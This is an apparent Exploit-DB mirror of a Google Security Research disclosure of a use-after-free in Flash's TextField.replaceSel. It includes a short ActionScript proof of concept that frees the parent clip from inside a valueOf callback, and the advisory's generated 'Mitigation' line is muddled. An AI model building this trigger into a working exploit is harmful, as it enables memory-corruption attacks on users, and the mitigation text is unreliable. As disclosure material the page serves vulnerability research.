Use-after-free in TextField.replaceSel

vendor:

N/A

by:

Google Security Research

7,8

CVSS

HIGH

Use-after-free

416

CWE

Product Name: N/A

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2014

Use-after-free in TextField.replaceSel

There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free. A minimal PoC is provided in the text.

Mitigation:

Ensure that the string parameter of the TextField.replaceSel method is not set to an object with toString defined.

Source

Exploit-DB raw data:

Source: https://code.google.com/p/google-security-research/issues/detail?id=585

There is a use-after-free in TextField.replaceSel. If the string parameter of the method is set to an object with toString defined, this method can delete the TextField's parent, leading to a use-after-free.

A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.replaceSel({valueOf : func});

function func(){

	mc.removeMovieClip();

        // Fix heap here

	return "text";
	
	}

A sample swf and fla are attached.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39047.zip